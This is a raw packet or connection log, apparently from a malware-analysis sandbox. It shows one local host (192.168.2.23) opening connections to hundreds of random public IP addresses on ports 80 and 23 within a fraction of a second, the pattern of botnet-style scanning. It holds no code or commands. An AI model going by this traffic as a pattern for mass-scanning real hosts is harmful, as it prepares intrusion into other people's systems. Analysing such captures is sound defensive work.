Dec 3, 2024 23:16:43.379689932 CET	40596	80	192.168.2.23	14.2.153.102
Dec 3, 2024 23:16:43.379689932 CET	40596	80	192.168.2.23	71.139.246.174
Dec 3, 2024 23:16:43.379694939 CET	40596	80	192.168.2.23	210.203.159.81
Dec 3, 2024 23:16:43.379694939 CET	40596	80	192.168.2.23	176.88.220.123
Dec 3, 2024 23:16:43.379698038 CET	40596	80	192.168.2.23	204.71.210.36
Dec 3, 2024 23:16:43.379702091 CET	40596	80	192.168.2.23	131.246.4.63
Dec 3, 2024 23:16:43.379710913 CET	40596	80	192.168.2.23	144.183.136.97
Dec 3, 2024 23:16:43.379710913 CET	40596	80	192.168.2.23	184.86.41.56
Dec 3, 2024 23:16:43.379712105 CET	40596	80	192.168.2.23	131.92.253.181
Dec 3, 2024 23:16:43.379712105 CET	40596	80	192.168.2.23	206.170.226.131
Dec 3, 2024 23:16:43.379719019 CET	40596	80	192.168.2.23	73.31.100.228
Dec 3, 2024 23:16:43.379729986 CET	40596	80	192.168.2.23	82.250.111.85
Dec 3, 2024 23:16:43.379735947 CET	40596	80	192.168.2.23	162.201.102.41
Dec 3, 2024 23:16:43.379736900 CET	40596	80	192.168.2.23	44.175.95.43
Dec 3, 2024 23:16:43.379738092 CET	40602	23	192.168.2.23	202.84.155.44
Dec 3, 2024 23:16:43.379738092 CET	40596	80	192.168.2.23	42.231.201.246
Dec 3, 2024 23:16:43.379738092 CET	40596	80	192.168.2.23	94.92.78.31
Dec 3, 2024 23:16:43.379741907 CET	40596	80	192.168.2.23	76.103.0.167
Dec 3, 2024 23:16:43.379741907 CET	40602	23	192.168.2.23	50.79.3.56
Dec 3, 2024 23:16:43.379745007 CET	40596	80	192.168.2.23	53.49.221.189
Dec 3, 2024 23:16:43.379745007 CET	40596	80	192.168.2.23	147.170.116.245
Dec 3, 2024 23:16:43.379748106 CET	40602	23	192.168.2.23	45.16.168.248
Dec 3, 2024 23:16:43.379751921 CET	40596	80	192.168.2.23	188.92.203.78
Dec 3, 2024 23:16:43.379755020 CET	40602	23	192.168.2.23	41.240.216.6
Dec 3, 2024 23:16:43.379766941 CET	40602	23	192.168.2.23	116.165.53.26
Dec 3, 2024 23:16:43.379770041 CET	40602	23	192.168.2.23	222.136.133.102
Dec 3, 2024 23:16:43.379771948 CET	40602	23	192.168.2.23	70.230.169.23
Dec 3, 2024 23:16:43.379772902 CET	40602	23	192.168.2.23	223.125.77.118
Dec 3, 2024 23:16:43.379772902 CET	40602	23	192.168.2.23	40.89.182.250
Dec 3, 2024 23:16:43.379779100 CET	40602	23	192.168.2.23	96.91.143.184
Dec 3, 2024 23:16:43.379780054 CET	40602	23	192.168.2.23	88.254.192.250
Dec 3, 2024 23:16:43.379780054 CET	40602	23	192.168.2.23	188.0.5.22
Dec 3, 2024 23:16:43.379786968 CET	40596	80	192.168.2.23	192.3.173.53
Dec 3, 2024 23:16:43.379791021 CET	40602	23	192.168.2.23	112.210.11.151
Dec 3, 2024 23:16:43.379791021 CET	40602	23	192.168.2.23	39.167.55.18
Dec 3, 2024 23:16:43.379798889 CET	40602	23	192.168.2.23	173.5.197.61
Dec 3, 2024 23:16:43.379803896 CET	40596	80	192.168.2.23	190.104.150.80
Dec 3, 2024 23:16:43.379805088 CET	40596	80	192.168.2.23	159.203.38.5
Dec 3, 2024 23:16:43.379806042 CET	40596	80	192.168.2.23	184.210.19.213
Dec 3, 2024 23:16:43.379805088 CET	40596	80	192.168.2.23	130.141.53.156
Dec 3, 2024 23:16:43.379805088 CET	40596	80	192.168.2.23	159.44.134.229
Dec 3, 2024 23:16:43.379812002 CET	40602	23	192.168.2.23	191.121.98.86
Dec 3, 2024 23:16:43.379812956 CET	40596	80	192.168.2.23	99.138.11.253
Dec 3, 2024 23:16:43.379817963 CET	40602	23	192.168.2.23	85.138.107.171
Dec 3, 2024 23:16:43.379820108 CET	40602	23	192.168.2.23	136.205.29.8
Dec 3, 2024 23:16:43.379825115 CET	40602	23	192.168.2.23	83.163.137.241
Dec 3, 2024 23:16:43.379826069 CET	40596	80	192.168.2.23	18.183.30.194
Dec 3, 2024 23:16:43.379832983 CET	40596	80	192.168.2.23	40.120.155.173
Dec 3, 2024 23:16:43.379834890 CET	40596	80	192.168.2.23	192.174.198.182
Dec 3, 2024 23:16:43.379834890 CET	40596	80	192.168.2.23	1.152.94.211
Dec 3, 2024 23:16:43.379837036 CET	40596	80	192.168.2.23	207.205.219.155
Dec 3, 2024 23:16:43.379852057 CET	40602	23	192.168.2.23	149.187.223.98
Dec 3, 2024 23:16:43.379852057 CET	40602	23	192.168.2.23	48.223.242.59
Dec 3, 2024 23:16:43.379852057 CET	40602	23	192.168.2.23	88.101.129.250
Dec 3, 2024 23:16:43.379857063 CET	40602	23	192.168.2.23	190.76.75.229
Dec 3, 2024 23:16:43.379857063 CET	40602	23	192.168.2.23	141.57.96.20
Dec 3, 2024 23:16:43.379858971 CET	40596	80	192.168.2.23	90.1.224.247
Dec 3, 2024 23:16:43.379868984 CET	40602	23	192.168.2.23	23.233.95.36
Dec 3, 2024 23:16:43.379868984 CET	40602	23	192.168.2.23	8.117.180.197
Dec 3, 2024 23:16:43.379875898 CET	40596	80	192.168.2.23	119.109.216.24
Dec 3, 2024 23:16:43.379875898 CET	40602	23	192.168.2.23	61.232.8.31
Dec 3, 2024 23:16:43.379877090 CET	40602	23	192.168.2.23	173.205.75.140
Dec 3, 2024 23:16:43.379878044 CET	40602	23	192.168.2.23	44.95.111.71
Dec 3, 2024 23:16:43.379877090 CET	40596	80	192.168.2.23	84.247.160.236
Dec 3, 2024 23:16:43.379878044 CET	40602	23	192.168.2.23	99.209.245.68
Dec 3, 2024 23:16:43.379878044 CET	40602	23	192.168.2.23	12.70.112.94
Dec 3, 2024 23:16:43.379880905 CET	40602	23	192.168.2.23	96.151.130.88
Dec 3, 2024 23:16:43.379880905 CET	40602	23	192.168.2.23	213.161.194.233
Dec 3, 2024 23:16:43.379880905 CET	40602	23	192.168.2.23	66.15.149.63
Dec 3, 2024 23:16:43.379880905 CET	40596	80	192.168.2.23	137.138.231.173
Dec 3, 2024 23:16:43.379887104 CET	40596	80	192.168.2.23	201.19.218.174
Dec 3, 2024 23:16:43.379889965 CET	40602	23	192.168.2.23	117.222.185.60
Dec 3, 2024 23:16:43.379889965 CET	40596	80	192.168.2.23	174.200.7.114
Dec 3, 2024 23:16:43.379889965 CET	40596	80	192.168.2.23	73.150.18.240
Dec 3, 2024 23:16:43.379895926 CET	40602	23	192.168.2.23	151.41.65.80
Dec 3, 2024 23:16:43.379895926 CET	40596	80	192.168.2.23	12.55.245.193
Dec 3, 2024 23:16:43.379895926 CET	40602	23	192.168.2.23	81.70.229.217
Dec 3, 2024 23:16:43.379895926 CET	40596	80	192.168.2.23	79.141.154.191
Dec 3, 2024 23:16:43.379897118 CET	40602	23	192.168.2.23	115.20.154.236
Dec 3, 2024 23:16:43.379897118 CET	40602	23	192.168.2.23	115.220.32.110
Dec 3, 2024 23:16:43.379897118 CET	40596	80	192.168.2.23	117.25.49.6
Dec 3, 2024 23:16:43.379897118 CET	40602	23	192.168.2.23	83.14.232.31
Dec 3, 2024 23:16:43.379914045 CET	40596	80	192.168.2.23	60.7.58.103
Dec 3, 2024 23:16:43.379914045 CET	40596	80	192.168.2.23	160.17.180.162
Dec 3, 2024 23:16:43.379914999 CET	40602	23	192.168.2.23	125.105.46.52
Dec 3, 2024 23:16:43.379915953 CET	40596	80	192.168.2.23	208.186.71.132
Dec 3, 2024 23:16:43.379914999 CET	40602	23	192.168.2.23	34.191.51.74
Dec 3, 2024 23:16:43.379914045 CET	40602	23	192.168.2.23	143.169.7.145
Dec 3, 2024 23:16:43.379916906 CET	40602	23	192.168.2.23	34.125.185.158
Dec 3, 2024 23:16:43.379915953 CET	40596	80	192.168.2.23	104.73.22.87
Dec 3, 2024 23:16:43.379916906 CET	40596	80	192.168.2.23	188.129.17.153
Dec 3, 2024 23:16:43.379916906 CET	40596	80	192.168.2.23	167.153.224.141
Dec 3, 2024 23:16:43.379916906 CET	40596	80	192.168.2.23	175.88.227.39
Dec 3, 2024 23:16:43.379919052 CET	40596	80	192.168.2.23	97.226.53.147
Dec 3, 2024 23:16:43.379914999 CET	40602	23	192.168.2.23	121.1.137.127
Dec 3, 2024 23:16:43.379920959 CET	40596	80	192.168.2.23	104.74.243.204
Dec 3, 2024 23:16:43.379916906 CET	40596	80	192.168.2.23	5.246.82.12
Dec 3, 2024 23:16:43.379919052 CET	40596	80	192.168.2.23	200.98.191.131
Dec 3, 2024 23:16:43.379919052 CET	40602	23	192.168.2.23	219.142.118.82
Dec 3, 2024 23:16:43.379919052 CET	40602	23	192.168.2.23	62.229.7.1
Dec 3, 2024 23:16:43.379946947 CET	40602	23	192.168.2.23	205.182.152.18
Dec 3, 2024 23:16:43.379946947 CET	40602	23	192.168.2.23	174.83.47.90
Dec 3, 2024 23:16:43.379946947 CET	40602	23	192.168.2.23	69.132.87.21
Dec 3, 2024 23:16:43.379947901 CET	40596	80	192.168.2.23	24.200.111.140
Dec 3, 2024 23:16:43.379949093 CET	40602	23	192.168.2.23	162.59.251.38
Dec 3, 2024 23:16:43.379946947 CET	40602	23	192.168.2.23	49.159.83.151
Dec 3, 2024 23:16:43.379951000 CET	40602	23	192.168.2.23	118.29.78.173
Dec 3, 2024 23:16:43.379949093 CET	40596	80	192.168.2.23	162.158.48.217
Dec 3, 2024 23:16:43.379950047 CET	40602	23	192.168.2.23	132.183.148.95
Dec 3, 2024 23:16:43.379949093 CET	40602	23	192.168.2.23	222.168.168.113
Dec 3, 2024 23:16:43.379950047 CET	40596	80	192.168.2.23	105.12.26.2
Dec 3, 2024 23:16:43.379951000 CET	40602	23	192.168.2.23	114.108.106.42
Dec 3, 2024 23:16:43.379949093 CET	40596	80	192.168.2.23	122.215.84.13
Dec 3, 2024 23:16:43.379946947 CET	40596	80	192.168.2.23	68.172.247.197
Dec 3, 2024 23:16:43.379950047 CET	40596	80	192.168.2.23	139.133.67.167
Dec 3, 2024 23:16:43.379951000 CET	40596	80	192.168.2.23	185.49.178.138
Dec 3, 2024 23:16:43.379950047 CET	40602	23	192.168.2.23	217.186.37.18
Dec 3, 2024 23:16:43.379951000 CET	40602	23	192.168.2.23	43.55.106.224
Dec 3, 2024 23:16:43.379950047 CET	40596	80	192.168.2.23	80.191.169.45
Dec 3, 2024 23:16:43.379947901 CET	40596	80	192.168.2.23	36.207.160.113
Dec 3, 2024 23:16:43.379949093 CET	40596	80	192.168.2.23	50.159.7.200
Dec 3, 2024 23:16:43.379950047 CET	40602	23	192.168.2.23	4.105.19.112
Dec 3, 2024 23:16:43.379951000 CET	40596	80	192.168.2.23	121.146.111.48
Dec 3, 2024 23:16:43.379967928 CET	40602	23	192.168.2.23	134.224.250.173
Dec 3, 2024 23:16:43.379967928 CET	40602	23	192.168.2.23	133.203.85.81
Dec 3, 2024 23:16:43.379947901 CET	40602	23	192.168.2.23	93.9.238.175
Dec 3, 2024 23:16:43.379967928 CET	40602	23	192.168.2.23	13.156.65.176
Dec 3, 2024 23:16:43.379950047 CET	40596	80	192.168.2.23	122.195.185.158
Dec 3, 2024 23:16:43.379950047 CET	40602	23	192.168.2.23	77.179.250.121
Dec 3, 2024 23:16:43.379949093 CET	40602	23	192.168.2.23	153.71.133.20
Dec 3, 2024 23:16:43.379975080 CET	40596	80	192.168.2.23	108.66.32.15
Dec 3, 2024 23:16:43.379975080 CET	40602	23	192.168.2.23	65.93.243.217
Dec 3, 2024 23:16:43.379975080 CET	40596	80	192.168.2.23	118.106.119.132
Dec 3, 2024 23:16:43.379975080 CET	40602	23	192.168.2.23	175.3.14.237
Dec 3, 2024 23:16:43.379975080 CET	40596	80	192.168.2.23	168.196.169.11
Dec 3, 2024 23:16:43.379977942 CET	40596	80	192.168.2.23	191.4.249.250
Dec 3, 2024 23:16:43.379975080 CET	40596	80	192.168.2.23	59.204.235.16
Dec 3, 2024 23:16:43.379975080 CET	40602	23	192.168.2.23	98.42.60.218
Dec 3, 2024 23:16:43.379975080 CET	40596	80	192.168.2.23	1.139.31.73
Dec 3, 2024 23:16:43.379976988 CET	40602	23	192.168.2.23	151.100.119.125
Dec 3, 2024 23:16:43.379976988 CET	40602	23	192.168.2.23	68.76.175.227
Dec 3, 2024 23:16:43.379981995 CET	40602	23	192.168.2.23	96.40.246.15
Dec 3, 2024 23:16:43.379977942 CET	40596	80	192.168.2.23	193.224.168.205
Dec 3, 2024 23:16:43.379981995 CET	40602	23	192.168.2.23	45.103.177.9
Dec 3, 2024 23:16:43.379975080 CET	40602	23	192.168.2.23	146.142.83.151
Dec 3, 2024 23:16:43.379975080 CET	40602	23	192.168.2.23	176.5.21.14
Dec 3, 2024 23:16:43.379977942 CET	40602	23	192.168.2.23	145.17.45.165
Dec 3, 2024 23:16:43.379977942 CET	40602	23	192.168.2.23	196.235.166.101
Dec 3, 2024 23:16:43.379990101 CET	40602	23	192.168.2.23	44.128.110.229
Dec 3, 2024 23:16:43.379975080 CET	40596	80	192.168.2.23	66.249.136.51
Dec 3, 2024 23:16:43.379977942 CET	40596	80	192.168.2.23	192.122.222.128
Dec 3, 2024 23:16:43.379981995 CET	40602	23	192.168.2.23	188.139.202.176
Dec 3, 2024 23:16:43.379975080 CET	40596	80	192.168.2.23	74.167.212.149
Dec 3, 2024 23:16:43.379986048 CET	40596	80	192.168.2.23	65.124.43.48
Dec 3, 2024 23:16:43.379981995 CET	40596	80	192.168.2.23	219.19.75.116
Dec 3, 2024 23:16:43.379978895 CET	40602	23	192.168.2.23	130.49.174.115
Dec 3, 2024 23:16:43.379988909 CET	40602	23	192.168.2.23	60.154.8.217
Dec 3, 2024 23:16:43.379986048 CET	40602	23	192.168.2.23	118.249.185.17
Dec 3, 2024 23:16:43.379978895 CET	40596	80	192.168.2.23	140.88.67.35
Dec 3, 2024 23:16:43.379998922 CET	40602	23	192.168.2.23	89.31.38.188
Dec 3, 2024 23:16:43.379978895 CET	40602	23	192.168.2.23	189.230.133.118
Dec 3, 2024 23:16:43.379988909 CET	40602	23	192.168.2.23	12.146.168.64
Dec 3, 2024 23:16:43.379986048 CET	40602	23	192.168.2.23	116.224.178.96
Dec 3, 2024 23:16:43.379975080 CET	40596	80	192.168.2.23	54.83.16.68
Dec 3, 2024 23:16:43.379986048 CET	40602	23	192.168.2.23	25.14.191.89
Dec 3, 2024 23:16:43.379975080 CET	40602	23	192.168.2.23	134.207.232.228
Dec 3, 2024 23:16:43.380003929 CET	40602	23	192.168.2.23	111.178.136.56
Dec 3, 2024 23:16:43.379988909 CET	40602	23	192.168.2.23	13.157.219.201
Dec 3, 2024 23:16:43.379975080 CET	40602	23	192.168.2.23	103.33.221.116
Dec 3, 2024 23:16:43.380004883 CET	40596	80	192.168.2.23	208.223.92.225
Dec 3, 2024 23:16:43.379986048 CET	40602	23	192.168.2.23	208.80.41.217
Dec 3, 2024 23:16:43.380004883 CET	40602	23	192.168.2.23	165.137.122.231
Dec 3, 2024 23:16:43.380004883 CET	40602	23	192.168.2.23	210.168.158.137
Dec 3, 2024 23:16:43.380004883 CET	40602	23	192.168.2.23	197.147.216.52
Dec 3, 2024 23:16:43.380007982 CET	40596	80	192.168.2.23	67.35.237.184
Dec 3, 2024 23:16:43.380007982 CET	40602	23	192.168.2.23	27.127.157.26
Dec 3, 2024 23:16:43.380007982 CET	40596	80	192.168.2.23	209.132.45.181
Dec 3, 2024 23:16:43.380007982 CET	40602	23	192.168.2.23	156.89.41.116
Dec 3, 2024 23:16:43.380011082 CET	40602	23	192.168.2.23	113.179.103.62
Dec 3, 2024 23:16:43.380017042 CET	40602	23	192.168.2.23	184.125.247.55
Dec 3, 2024 23:16:43.380017042 CET	40602	23	192.168.2.23	117.88.86.220
Dec 3, 2024 23:16:43.380017042 CET	40596	80	192.168.2.23	135.43.31.11
Dec 3, 2024 23:16:43.380022049 CET	40602	23	192.168.2.23	71.169.189.95
Dec 3, 2024 23:16:43.380023956 CET	40602	23	192.168.2.23	27.126.227.124
Dec 3, 2024 23:16:43.380023956 CET	40596	80	192.168.2.23	74.119.17.105
Dec 3, 2024 23:16:43.380026102 CET	40602	23	192.168.2.23	25.48.113.88
Dec 3, 2024 23:16:43.380028963 CET	40596	80	192.168.2.23	172.83.88.15
Dec 3, 2024 23:16:43.380028963 CET	40602	23	192.168.2.23	42.134.125.145
Dec 3, 2024 23:16:43.380028963 CET	40596	80	192.168.2.23	71.116.10.12
Dec 3, 2024 23:16:43.380029917 CET	40602	23	192.168.2.23	101.172.231.223
Dec 3, 2024 23:16:43.380029917 CET	40596	80	192.168.2.23	190.167.188.245
Dec 3, 2024 23:16:43.380036116 CET	40596	80	192.168.2.23	162.148.183.203
Dec 3, 2024 23:16:43.380036116 CET	40596	80	192.168.2.23	32.238.209.22
Dec 3, 2024 23:16:43.380038977 CET	40596	80	192.168.2.23	119.89.248.75
Dec 3, 2024 23:16:43.380038977 CET	40602	23	192.168.2.23	19.173.83.138
Dec 3, 2024 23:16:43.380038977 CET	40602	23	192.168.2.23	170.112.206.185
Dec 3, 2024 23:16:43.380042076 CET	40596	80	192.168.2.23	109.124.138.102
Dec 3, 2024 23:16:43.380042076 CET	40596	80	192.168.2.23	132.230.137.37
Dec 3, 2024 23:16:43.380048037 CET	40602	23	192.168.2.23	126.21.254.104
Dec 3, 2024 23:16:43.380048037 CET	40596	80	192.168.2.23	14.167.128.115
Dec 3, 2024 23:16:43.380050898 CET	40596	80	192.168.2.23	109.117.165.80
Dec 3, 2024 23:16:43.380052090 CET	40596	80	192.168.2.23	186.13.50.148
Dec 3, 2024 23:16:43.380053043 CET	40596	80	192.168.2.23	219.87.248.127
Dec 3, 2024 23:16:43.380053997 CET	40596	80	192.168.2.23	155.102.108.61
Dec 3, 2024 23:16:43.380053997 CET	40596	80	192.168.2.23	32.157.19.189
Dec 3, 2024 23:16:43.380053997 CET	40602	23	192.168.2.23	100.174.155.206
Dec 3, 2024 23:16:43.380064011 CET	40602	23	192.168.2.23	150.194.107.177
Dec 3, 2024 23:16:43.380064011 CET	40602	23	192.168.2.23	126.43.129.140
Dec 3, 2024 23:16:43.380064011 CET	40596	80	192.168.2.23	132.51.14.172
Dec 3, 2024 23:16:43.380064011 CET	40596	80	192.168.2.23	49.67.199.125
Dec 3, 2024 23:16:43.380065918 CET	40596	80	192.168.2.23	197.11.193.149
Dec 3, 2024 23:16:43.380069017 CET	40596	80	192.168.2.23	35.230.220.127
Dec 3, 2024 23:16:43.380065918 CET	40602	23	192.168.2.23	158.161.65.21
Dec 3, 2024 23:16:43.380069017 CET	40602	23	192.168.2.23	106.135.229.244
Dec 3, 2024 23:16:43.380074978 CET	40602	23	192.168.2.23	186.99.10.202
Dec 3, 2024 23:16:43.380075932 CET	40596	80	192.168.2.23	13.92.255.165
Dec 3, 2024 23:16:43.380076885 CET	40602	23	192.168.2.23	174.209.212.205
Dec 3, 2024 23:16:43.380079031 CET	40602	23	192.168.2.23	71.224.220.122
Dec 3, 2024 23:16:43.380079031 CET	40596	80	192.168.2.23	98.200.48.187
Dec 3, 2024 23:16:43.380079031 CET	40596	80	192.168.2.23	95.63.3.31
Dec 3, 2024 23:16:43.380079031 CET	40596	80	192.168.2.23	52.90.28.229
Dec 3, 2024 23:16:43.380089045 CET	40596	80	192.168.2.23	9.6.8.87
Dec 3, 2024 23:16:43.380089998 CET	40602	23	192.168.2.23	223.78.220.216
Dec 3, 2024 23:16:43.380090952 CET	40596	80	192.168.2.23	12.55.87.109
Dec 3, 2024 23:16:43.380090952 CET	40596	80	192.168.2.23	170.236.74.64
Dec 3, 2024 23:16:43.380090952 CET	40596	80	192.168.2.23	4.37.35.61
Dec 3, 2024 23:16:43.380090952 CET	40602	23	192.168.2.23	99.114.126.58
Dec 3, 2024 23:16:43.380090952 CET	40596	80	192.168.2.23	140.27.200.9
Dec 3, 2024 23:16:43.380093098 CET	40602	23	192.168.2.23	63.42.37.27
Dec 3, 2024 23:16:43.380093098 CET	40602	23	192.168.2.23	169.33.243.154
Dec 3, 2024 23:16:43.380093098 CET	40596	80	192.168.2.23	25.169.91.52
Dec 3, 2024 23:16:43.380094051 CET	40596	80	192.168.2.23	47.158.113.73
Dec 3, 2024 23:16:43.380094051 CET	40602	23	192.168.2.23	20.239.238.93
Dec 3, 2024 23:16:43.380098104 CET	40602	23	192.168.2.23	93.170.181.56
Dec 3, 2024 23:16:43.380100012 CET	40596	80	192.168.2.23	132.186.111.196
Dec 3, 2024 23:16:43.380100012 CET	40602	23	192.168.2.23	156.124.145.104
Dec 3, 2024 23:16:43.380104065 CET	40596	80	192.168.2.23	69.222.87.161
Dec 3, 2024 23:16:43.380104065 CET	40602	23	192.168.2.23	19.93.149.169
Dec 3, 2024 23:16:43.380110979 CET	40602	23	192.168.2.23	213.192.131.73
Dec 3, 2024 23:16:43.380110979 CET	40602	23	192.168.2.23	141.50.149.108
Dec 3, 2024 23:16:43.380110979 CET	40602	23	192.168.2.23	134.239.133.105
Dec 3, 2024 23:16:43.380110979 CET	40596	80	192.168.2.23	188.245.232.83
Dec 3, 2024 23:16:43.380111933 CET	40602	23	192.168.2.23	41.189.88.210
Dec 3, 2024 23:16:43.380110979 CET	40596	80	192.168.2.23	203.165.3.249
Dec 3, 2024 23:16:43.380111933 CET	40602	23	192.168.2.23	80.24.13.200
Dec 3, 2024 23:16:43.380115986 CET	40602	23	192.168.2.23	89.23.211.164
Dec 3, 2024 23:16:43.380119085 CET	40602	23	192.168.2.23	38.120.113.120
Dec 3, 2024 23:16:43.380120993 CET	40596	80	192.168.2.23	58.132.168.179
Dec 3, 2024 23:16:43.380119085 CET	40596	80	192.168.2.23	150.56.26.72
Dec 3, 2024 23:16:43.380122900 CET	40596	80	192.168.2.23	86.75.38.50
Dec 3, 2024 23:16:43.380120993 CET	40602	23	192.168.2.23	96.72.182.201
Dec 3, 2024 23:16:43.380124092 CET	40602	23	192.168.2.23	188.253.32.121
Dec 3, 2024 23:16:43.380124092 CET	40602	23	192.168.2.23	140.214.139.199
Dec 3, 2024 23:16:43.380124092 CET	40596	80	192.168.2.23	207.192.80.62
Dec 3, 2024 23:16:43.380129099 CET	40602	23	192.168.2.23	58.110.83.54
Dec 3, 2024 23:16:43.380131006 CET	40602	23	192.168.2.23	124.90.9.77
Dec 3, 2024 23:16:43.380135059 CET	40602	23	192.168.2.23	8.42.118.149
Dec 3, 2024 23:16:43.380135059 CET	40596	80	192.168.2.23	68.91.123.167
Dec 3, 2024 23:16:43.380135059 CET	40602	23	192.168.2.23	153.246.163.74
Dec 3, 2024 23:16:43.380146027 CET	40602	23	192.168.2.23	133.250.212.56
Dec 3, 2024 23:16:43.380146027 CET	40596	80	192.168.2.23	123.207.160.113
Dec 3, 2024 23:16:43.380146027 CET	40596	80	192.168.2.23	93.64.189.218
Dec 3, 2024 23:16:43.380146027 CET	40602	23	192.168.2.23	168.213.126.134
Dec 3, 2024 23:16:43.380146027 CET	40602	23	192.168.2.23	148.29.22.5
Dec 3, 2024 23:16:43.380155087 CET	40602	23	192.168.2.23	4.180.160.233
Dec 3, 2024 23:16:43.380156994 CET	40596	80	192.168.2.23	45.159.89.103
Dec 3, 2024 23:16:43.380157948 CET	40596	80	192.168.2.23	23.203.246.37
Dec 3, 2024 23:16:43.380162001 CET	40602	23	192.168.2.23	200.190.187.173
Dec 3, 2024 23:16:43.380163908 CET	40596	80	192.168.2.23	65.140.159.97
Dec 3, 2024 23:16:43.380165100 CET	40596	80	192.168.2.23	8.202.151.252
Dec 3, 2024 23:16:43.380171061 CET	40596	80	192.168.2.23	93.186.157.144
Dec 3, 2024 23:16:43.380173922 CET	40596	80	192.168.2.23	115.234.204.9
Dec 3, 2024 23:16:43.380173922 CET	40596	80	192.168.2.23	124.92.89.237
Dec 3, 2024 23:16:43.380171061 CET	40602	23	192.168.2.23	185.24.218.199
Dec 3, 2024 23:16:43.380173922 CET	40596	80	192.168.2.23	53.3.238.198
Dec 3, 2024 23:16:43.380171061 CET	40596	80	192.168.2.23	64.46.173.43
Dec 3, 2024 23:16:43.380182028 CET	40602	23	192.168.2.23	129.157.123.8
Dec 3, 2024 23:16:43.380184889 CET	40596	80	192.168.2.23	166.27.76.69
Dec 3, 2024 23:16:43.380186081 CET	40596	80	192.168.2.23	35.12.198.181
Dec 3, 2024 23:16:43.380187035 CET	40602	23	192.168.2.23	170.204.144.128
Dec 3, 2024 23:16:43.380186081 CET	40596	80	192.168.2.23	72.113.251.84
Dec 3, 2024 23:16:43.380187035 CET	40596	80	192.168.2.23	25.241.235.83
Dec 3, 2024 23:16:43.380197048 CET	40596	80	192.168.2.23	153.65.76.135
Dec 3, 2024 23:16:43.380197048 CET	40596	80	192.168.2.23	72.46.179.105
Dec 3, 2024 23:16:43.380198002 CET	40596	80	192.168.2.23	173.252.225.232
Dec 3, 2024 23:16:43.380198002 CET	40596	80	192.168.2.23	27.5.10.213
Dec 3, 2024 23:16:43.380198002 CET	40596	80	192.168.2.23	17.42.134.211
Dec 3, 2024 23:16:43.380198956 CET	40602	23	192.168.2.23	139.71.34.197
Dec 3, 2024 23:16:43.380199909 CET	40602	23	192.168.2.23	135.182.100.76
Dec 3, 2024 23:16:43.380199909 CET	40602	23	192.168.2.23	67.162.95.29
Dec 3, 2024 23:16:43.380199909 CET	40596	80	192.168.2.23	89.124.84.176
Dec 3, 2024 23:16:43.380199909 CET	40602	23	192.168.2.23	107.140.153.91
Dec 3, 2024 23:16:43.380204916 CET	40596	80	192.168.2.23	139.106.96.205
Dec 3, 2024 23:16:43.380206108 CET	40602	23	192.168.2.23	128.138.188.102
Dec 3, 2024 23:16:43.380213022 CET	40596	80	192.168.2.23	95.4.225.241
Dec 3, 2024 23:16:43.380213976 CET	40596	80	192.168.2.23	140.122.19.6
Dec 3, 2024 23:16:43.380214930 CET	40596	80	192.168.2.23	25.236.200.46
Dec 3, 2024 23:16:43.380218029 CET	40602	23	192.168.2.23	190.112.169.154
Dec 3, 2024 23:16:43.380218029 CET	40596	80	192.168.2.23	52.131.131.207
Dec 3, 2024 23:16:43.380218983 CET	40602	23	192.168.2.23	193.38.130.212
Dec 3, 2024 23:16:43.380218983 CET	40602	23	192.168.2.23	77.67.147.100
Dec 3, 2024 23:16:43.380225897 CET	40596	80	192.168.2.23	187.246.207.241
Dec 3, 2024 23:16:43.380225897 CET	40596	80	192.168.2.23	66.135.84.21
Dec 3, 2024 23:16:43.380225897 CET	40602	23	192.168.2.23	97.152.35.45
Dec 3, 2024 23:16:43.380229950 CET	40602	23	192.168.2.23	40.142.84.75
Dec 3, 2024 23:16:43.380229950 CET	40596	80	192.168.2.23	89.29.212.4
Dec 3, 2024 23:16:43.380229950 CET	40596	80	192.168.2.23	77.67.67.171
Dec 3, 2024 23:16:43.380229950 CET	40602	23	192.168.2.23	164.28.133.149
Dec 3, 2024 23:16:43.380232096 CET	40602	23	192.168.2.23	43.230.217.169
Dec 3, 2024 23:16:43.380232096 CET	40602	23	192.168.2.23	2.175.225.80
Dec 3, 2024 23:16:43.380232096 CET	40596	80	192.168.2.23	89.195.223.98
Dec 3, 2024 23:16:43.380232096 CET	40596	80	192.168.2.23	208.102.248.208
Dec 3, 2024 23:16:43.380237103 CET	40596	80	192.168.2.23	138.138.4.144
Dec 3, 2024 23:16:43.380237103 CET	40602	23	192.168.2.23	142.153.149.234
Dec 3, 2024 23:16:43.380237103 CET	40596	80	192.168.2.23	49.69.131.252
Dec 3, 2024 23:16:43.380238056 CET	40602	23	192.168.2.23	122.136.192.19
Dec 3, 2024 23:16:43.380243063 CET	40602	23	192.168.2.23	137.29.216.7
Dec 3, 2024 23:16:43.380243063 CET	40602	23	192.168.2.23	131.208.145.62
Dec 3, 2024 23:16:43.380244970 CET	40602	23	192.168.2.23	123.172.241.195
Dec 3, 2024 23:16:43.380244970 CET	40596	80	192.168.2.23	39.109.163.18
Dec 3, 2024 23:16:43.380244970 CET	40602	23	192.168.2.23	20.232.66.16
Dec 3, 2024 23:16:43.380249023 CET	40602	23	192.168.2.23	136.137.92.151
Dec 3, 2024 23:16:43.380249023 CET	40602	23	192.168.2.23	103.201.31.186
Dec 3, 2024 23:16:43.380250931 CET	40596	80	192.168.2.23	149.158.148.109
Dec 3, 2024 23:16:43.380250931 CET	40596	80	192.168.2.23	43.245.150.64
Dec 3, 2024 23:16:43.380250931 CET	40602	23	192.168.2.23	83.206.119.198
Dec 3, 2024 23:16:43.380250931 CET	40596	80	192.168.2.23	24.253.243.151
Dec 3, 2024 23:16:43.380258083 CET	40596	80	192.168.2.23	14.105.52.93
Dec 3, 2024 23:16:43.380258083 CET	40596	80	192.168.2.23	58.97.251.2
Dec 3, 2024 23:16:43.380259991 CET	40596	80	192.168.2.23	63.133.28.131
Dec 3, 2024 23:16:43.380259991 CET	40602	23	192.168.2.23	89.64.76.242
Dec 3, 2024 23:16:43.380259991 CET	40602	23	192.168.2.23	62.163.204.26
Dec 3, 2024 23:16:43.380264044 CET	40596	80	192.168.2.23	197.81.198.164
Dec 3, 2024 23:16:43.380264044 CET	40602	23	192.168.2.23	212.12.159.207
Dec 3, 2024 23:16:43.380276918 CET	40596	80	192.168.2.23	211.93.88.73
Dec 3, 2024 23:16:43.380278111 CET	40596	80	192.168.2.23	191.0.40.39
Dec 3, 2024 23:16:43.380278111 CET	40602	23	192.168.2.23	120.196.253.52
Dec 3, 2024 23:16:43.380279064 CET	40602	23	192.168.2.23	120.39.66.208
Dec 3, 2024 23:16:43.380280018 CET	40596	80	192.168.2.23	194.123.159.234
Dec 3, 2024 23:16:43.380279064 CET	40602	23	192.168.2.23	206.130.83.130
